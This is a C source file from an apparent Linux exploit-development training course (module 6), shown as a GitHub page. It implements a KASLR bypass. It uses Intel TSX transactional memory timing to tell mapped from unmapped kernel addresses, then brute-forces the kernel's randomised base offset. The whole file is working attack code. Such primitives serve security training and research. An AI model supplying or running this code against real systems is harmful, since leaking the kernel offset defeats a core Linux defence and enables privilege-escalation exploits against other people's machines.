-
Notifications
You must be signed in to change notification settings - Fork 9
/
kaslr.c
165 lines (128 loc) · 2.93 KB
/
kaslr.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
/**
* Linux exploit dev training - module 6
* vnik@cyseclabs.com
**/
#define __USE_GNU
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <math.h>
#include <limits.h>
#include "util.h"
static uint64_t _get_cycles(uint64_t addr) {
//unsigned long start = rdtsc_beg();
unsigned long start = rdtscp();
unsigned long tmp;
if (_xbegin() == _XBEGIN_STARTED) {
/* read access */
tmp = *((unsigned long *)addr);
_xend();
} else {
//return rdtsc_end() - start;
return rdtscp() - start;
}
return tmp; /* for -O* optimisations */
}
uint64_t get_cycles(uint64_t addr, int rounds) {
int i;
uint64_t clk, min = ULONG_MAX;
for (i = 0; i < _NROUNDS; i++) {
clk = _get_cycles(addr);
if (clk < min)
min = clk;
}
return min;
}
static uint64_t get_mappped_cycles(void) {
uint64_t clk;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
asm volatile("sidt %0" : "=m" (idt));
pin_cpu();
clk = get_cycles(idt.addr, _NROUNDS);
unpin_cpu();
return clk;
}
static uint64_t get_bogus_cycles(void) {
int i;
uint64_t sum = 0, sum1 = 0;
uint64_t samples[_NROUNDS];
uint64_t min = ULONG_MAX;
uint64_t variance, std_dev, mean;
pin_cpu();
for (i = 0; i < _NROUNDS; i++) {
if (i == 0)
/* skip the first unstable sample */
continue;
samples[i] = (long)_get_cycles(0xffffffff80000000);
if (samples[i] < min)
min = samples[i];
sum += samples[i];
}
mean = sum / (_NROUNDS - 1);
/* compute variance and standard deviation */
for (i = 1; i < _NROUNDS; i++) {
sum1 += pow((samples[i] - mean), 2);
}
variance = sum1 / (_NROUNDS - 1);
std_dev = sqrt(variance);
unpin_cpu();
#ifdef _DEBUG
if (std_dev > _STD_DEV_THRESHOLD)
printf("Bad samples but continuing anyway\n");
#endif
return min - _SAFE_MARGIN;
}
static uint64_t bruteforce(uint64_t mapped, uint64_t bogus) {
uint64_t __addr, koffset;
uint64_t clk;
for (__addr = 0xffffffff81000000; __addr < 0xffffffffff000000;
__addr += 0x200000) {
clk = get_cycles(__addr, _NROUNDS);
#ifdef _DEBUG
putchar('.');
fflush(stdout);
#endif
if (clk < bogus) {
clk = get_cycles(__addr, _NROUNDS);
if (clk < bogus) {
koffset = __addr - 0xffffffff81000000;
#ifdef _DEBUG
putchar('\n');
printf("kALSR offset = 0x%lx\n", koffset);
fflush(stdout);
#endif
return koffset;
}
}
}
}
uint64_t get_kaslr_offset(void) {
uint64_t koffset, mapped = 0, bogus = 0;
if (!cpu_has_rtm()) {
#ifdef _DEBUG
printf("No TSX/RTM support. Bailing...\n");
#endif
return -1;
}
#ifdef _DEBUG
printf("Sample iterations: %d\n", _NROUNDS);
printf("Logical processors: %d\n", get_nprocs());
#endif
start_cpu_load();
pin_cpu();
while (mapped >= bogus) {
mapped = get_mappped_cycles();
bogus = get_bogus_cycles();
}
#ifdef _DEBUG
printf("mapped = %lu, bogus = %lu\n", mapped, bogus);
#endif
koffset = bruteforce(mapped, bogus);
unpin_cpu();
stop_cpu_load();
return koffset;
}